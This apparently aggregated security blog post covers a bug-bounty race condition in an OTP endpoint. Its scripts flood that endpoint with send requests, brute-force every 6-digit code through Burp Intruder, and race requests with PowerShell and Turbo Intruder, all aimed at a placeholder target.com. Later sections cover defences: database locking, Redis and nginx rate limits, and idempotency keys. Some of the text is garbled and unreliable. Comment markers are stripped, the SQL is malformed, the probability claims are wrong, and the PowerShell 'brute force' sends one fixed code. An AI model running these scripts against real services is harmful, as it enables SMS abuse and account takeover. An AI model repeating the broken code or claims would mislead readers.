Listen to this Post
Introduction:
Race Condition vulnerabilities are often dismissed as minor logic flaws relevant only to coupon codes or one-time activations. However, as demonstrated in a recent bug bounty discovery on Bugbounty.sa, these flaws can be exploited in deep and critical ways. By abusing a concurrency flaw in an OTP (One-Time Password) request endpoint, an attacker can bypass rate limiting, exhaust SMS credits, and potentially achieve a full Account Takeover (ATO) by rendering all possible OTP values valid simultaneously.
Learning Objectives:
- Understand the mechanics of Race Condition vulnerabilities in web applications.
- Learn how to identify and exploit concurrency issues in OTP verification endpoints.
- Develop mitigation strategies and secure coding practices to prevent Race Condition attacks.
You Should Know:
1. Understanding the Race Condition in OTP Generation
The core issue revolves around an endpoint designed to send an OTP to a user’s mobile number. While the application enforced a rate limit (preventing multiple OTP requests in a short period), it failed to handle concurrent requests properly. By sending a burst of requests simultaneously (grouping them into a single “race”), the server processed them all before the rate limit could be effectively enforced.
What this does: It allows an attacker to trigger the generation of dozens or hundreds of OTP codes for a single phone number within milliseconds, draining the application’s SMS credit pool and flooding the victim with messages.
How to test for this (Linux/macOS):
Using `curl` in a simple Bash loop with background processes:
!/bin/bash
url="https://target.com/api/send-otp"
phone="+1234567890"
for i in {1..50}; do
curl -X POST -d "phone=$phone" $url &
done
wait
Step‑by‑step guide:
1. Save the script as `race_test.sh`.
2. Make it executable: `chmod +x race_test.sh`.
3. Run it: `./race_test.sh`.
- Monitor your SMS inbox or the server response to see if multiple OTPs are delivered.
2. From Multiple OTPs to Account Takeover
The post highlights a critical escalation path: when multiple OTPs are valid at the same time, the probability of guessing the correct code increases exponentially. If the OTP is a standard 6-digit numeric code, there are 1,000,000 possible combinations. However, if 100 OTPs are active simultaneously for the same user, the attacker now has 100 valid codes to try.
Step‑by‑step exploitation guide using Burp Suite (Intruder):
- Intercept the OTP verification request (e.g.,
POST /verify-otp).
2. Send it to Intruder.
- Set the payload position on the OTP value.
- Load a payload list containing all 6-digit numbers (000000 to 999999).
- In the Resource Pool tab, create a new pool with Maximum concurrent requests set to a high number (e.g., 20).
- Launch the attack. If the Race Condition exists, many of these requests will succeed, giving you access to the account.
Windows alternative (PowerShell):
$url = "https://target.com/api/verify-otp"
$body = @{phone="+1234567890"; otp="000000"} | ConvertTo-Json
1..100 | ForEach-Object {
Start-Job -ScriptBlock { param($u, $b) Invoke-RestMethod -Uri $u -Method Post -Body $b -ContentType "application/json" } -ArgumentList $url, $body
}
Get-Job | Wait-Job
Receive-Job
3. Identifying Vulnerable Endpoints (Reconnaissance)
To find such flaws, look for any state-changing operation that involves a limited-use token or a rate-limited action. Key places to audit:
– OTP request/resend endpoints.
– Password reset functionality.
– Coupon/voucher application.
– File uploads (race to exhaust quota).
– Wallet balance transfers (race to double-spend).
Command-line recon (Linux):
Use `grep` and `ffuf` to find hidden endpoints:
Crawl the site and look for OTP-related paths ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/common_otp_endpoints.txt -recursion
Sample wordlist entries:
send-otp resend-otp verify-otp forgot-password reset-password
- Exploiting the Race Condition with Turbo Intruder (Advanced)
For high-speed race attacks, Turbo Intruder (a Burp Suite extension) is the industry standard. It uses Python scripting to send requests with minimal delay.
Sample Turbo Intruder script:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=100,
pipeline=False
)
Send 100 concurrent requests
for i in range(100):
engine.queue(target.req, gate='race1')
Open the gate to send all requests at once
engine.openGate('race1')
def handleResponse(req, interesting):
if 'otp sent' in req.response:
print(req.response)
Step‑by‑step:
1. Install Turbo Intruder from the BApp Store.
- Right-click on the OTP request and select Extensions > Turbo Intruder > Send to Turbo Intruder.
3. Paste the script above.
4. Adjust `concurrentConnections` and the loop count.
5. Click Attack.
5. Mitigation Strategies for Developers
To prevent Race Conditions in OTP systems, implement atomic operations and strict state management:
Database-level locking (PostgreSQL/MySQL):
-- Use row-level locking to prevent concurrent updates BEGIN; SELECT FROM users WHERE phone = '+1234567890' FOR UPDATE; -- Check if last OTP sent within 60 seconds -- If not, generate and send new OTP COMMIT;
Redis-based rate limiting with atomic increments:
import redis
r = redis.Redis()
phone = "+1234567890"
key = f"rate_limit:{phone}"
Atomic increment and set expiry
current = r.incr(key)
if current == 1:
r.expire(key, 60) 60-second window
if current > 3:
return "Rate limit exceeded", 429
6. Windows/Linux Commands for Security Hardening
If you are administering the server hosting such endpoints, ensure your web server and application firewall are configured to mitigate brute-force and race attacks.
Nginx rate limiting (Linux):
http {
limit_req_zone $binary_remote_addr zone=otp:10m rate=1r/s;
server {
location /api/send-otp {
limit_req zone=otp burst=1 nodelay;
proxy_pass http://app_server;
}
}
}
Windows IIS Dynamic IP Restrictions:
Via PowerShell, enable and configure Dynamic IP Restrictions:
Import-Module WebAdministration New-WebProperty -Name "dynamicIpRestrictions" -PSPath "IIS:\Sites\Default Web Site" Set-WebConfigurationProperty -Filter "system.webServer/security/dynamicIpRestrictions" -Name denyAction -Value "Forbidden" Set-WebConfigurationProperty -Filter "system.webServer/security/dynamicIpRestrictions" -Name enableLogging -Value $True
7. API Security Best Practices
To secure APIs against Race Conditions:
- Use idempotency keys for critical operations. The client generates a unique key, and the server ensures the operation is only performed once.
- Implement server-side request queues to serialize operations on a resource.
- Use database transactions with proper isolation levels (SERIALIZABLE) for financial or token-based operations.
Example: Idempotency with a header (Node.js/Express):
const idempotencyStore = new Map();
app.post('/api/verify-otp', (req, res) => {
const idempotencyKey = req.headers['idempotency-key'];
if (idempotencyStore.has(idempotencyKey)) {
return res.status(200).json(idempotencyStore.get(idempotencyKey));
}
// Process OTP verification
const result = verifyOtp(req.body.phone, req.body.otp);
idempotencyStore.set(idempotencyKey, result);
res.json(result);
});
What Undercode Say:
- Key Takeaway 1: Race Conditions are not limited to simple e-commerce discounts; they can be leveraged to bypass critical security controls like rate limiting and OTP validation, leading to account takeover and financial loss.
- Key Takeaway 2: Exploitation requires a deep understanding of concurrency. Tools like Turbo Intruder and custom Bash/PowerShell scripts are essential for both attackers and defenders to identify these flaws.
In analysis, this discovery highlights a persistent gap in developer awareness: assuming rate limits are sufficient without considering concurrent execution. The vulnerability exists because the server processes each request in isolation, unaware of others happening simultaneously. For blue teams, this means implementing atomic checks and stateful rate limiting (e.g., using Redis or database locks). For bug bounty hunters, it underscores the importance of thinking beyond the obvious—where a simple race might open the door to a catastrophic breach.
Prediction:
As APIs become more distributed and microservices-based, Race Condition vulnerabilities will increase in frequency and severity. Attackers will automate the discovery of these flaws using AI-driven tools that can model application state and detect concurrency weaknesses at scale. Defenders will shift toward “design by contract” patterns and mandatory idempotency to enforce deterministic behavior, but the arms race will intensify as race-to-race detection becomes a new frontier in web security.
▶️ Related Video (78% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Mohammedaloli %D9%85%D9%86 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
